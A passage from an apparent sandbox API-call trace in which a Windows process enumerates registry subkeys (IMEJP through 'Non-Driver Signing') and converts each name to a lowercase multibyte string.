| out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.640] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x22fc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0025.640] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.640] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.640] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.640] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.640] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2c, lpName=0x22fb930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0025.641] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.641] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x22fc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0025.641] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.641] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.641] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.641] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.641] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2d, lpName=0x22fb930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0025.641] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.641] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x22fc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0025.641] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.641] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.641] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.641] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.641] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2e, lpName=0x22fb930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0025.641] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0025.641] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x22fc120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0025.641] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.641] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.641] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.641] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.641] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2f, lpName=0x22fb930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0025.641] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0025.641] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x22fc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0025.641] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.641] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.642] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.642] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.642] RegEnumKeyW (in: hKey=0x38, dwIndex=0x30, lpName=0x22fb930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0025.642] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0025.642] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x22fc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0025.642] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.642] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.642] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.642] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.642] RegEnumKeyW (in: hKey=0x38, dwIndex=0x31, lpName=0x22fb930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0025.642] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.642] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x22fc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0025.642] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.642] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.642] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.642] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.642] RegEnumKeyW (in: hKey=0x38, dwIndex=0x32, lpName=0x22fb930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0025.642] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0025.642] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x22fc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0025.642] RegEnumKeyW (in: hKey=0x38, dwIndex=0x33, lpName=0x22fb930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0025.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0025.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x22fc0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0025.642] RegEnumKeyW (in: hKey=0x38, dwIndex=0x34, lpName=0x22fb930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0025.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x22fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0025.643] RegEnumKeyW (in: hKey=0x38, dwIndex=0x35, lpName=0x22fb930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0025.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0025.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x22fc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0025.643] RegEnumKeyW (in: hKey=0x38, dwIndex=0x36, lpName=0x22fb930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0025.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0025.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x22fc120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0025.643] RegEnumKeyW (in: hKey=0x38, dwIndex=0x37, lpName=0x22fb930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0025.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0025.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x22fc0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0025.643] RegEnumKeyW (in: hKey=0x38, dwIndex=0x38, lpName=0x22fb930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0025.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x22fc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0025.643] RegEnumKeyW (in: hKey=0x38, dwIndex=0x39, lpName=0x22fb930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0025.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x22fc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0025.643] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3a, lpName=0x22fb930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0025.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x22fc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0025.643] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3b, lpName=0x22fb930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0025.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x22fc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0025.644] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3c, lpName=0x22fb930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0025.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0025.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x22fc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0025.644] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3d, lpName=0x22fb930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0025.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x22fc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0025.644] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3e, lpName=0x22fb930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0025.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x22fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0025.644] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3f, lpName=0x22fb930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0025.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x22fc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0025.644] RegEnumKeyW (in: hKey=0x38, dwIndex=0x40, lpName=0x22fb930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0025.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0025.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x22fc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0025.644] RegEnumKeyW (in: hKey=0x38, dwIndex=0x41, lpName=0x22fb930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0025.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x22fc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0025.645] RegEnumKeyW (in: hKey=0x38, dwIndex=0x42, lpName=0x22fb930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0025.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x22fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0025.645] RegEnumKeyW (in: hKey=0x38, dwIndex=0x43, lpName=0x22fb930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0025.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x22fc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0025.645] RegEnumKeyW (in: hKey=0x38, dwIndex=0x44, lpName=0x22fb930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0025.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x22fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0025.645] RegEnumKeyW (in: hKey=0x38, dwIndex=0x45, lpName=0x22fb930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0025.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x22fc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0025.645] RegEnumKeyW (in: hKey=0x38, dwIndex=0x46, lpName=0x22fb930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0025.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x22fc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0025.645] RegEnumKeyW (in: hKey=0x38, dwIndex=0x47, lpName=0x22fb930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0025.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0025.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x22fc0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0025.645] RegEnumKeyW (in: hKey=0x38, dwIndex=0x48, lpName=0x22fb930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0025.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x22fc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0025.646] RegEnumKeyW (in: hKey=0x38, dwIndex=0x49, lpName=0x22fb930, cchName=0x104 | out: lpName="Network") returned 0x0 [0025.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x22fc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0025.646] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4a, lpName=0x22fb930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0025.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0025.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x22fc120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0025.646] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4b, lpName=0x22fb930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0025.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0025.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x22fc0d8, cbMultiByte=18, lpDefaultChar=0x0, 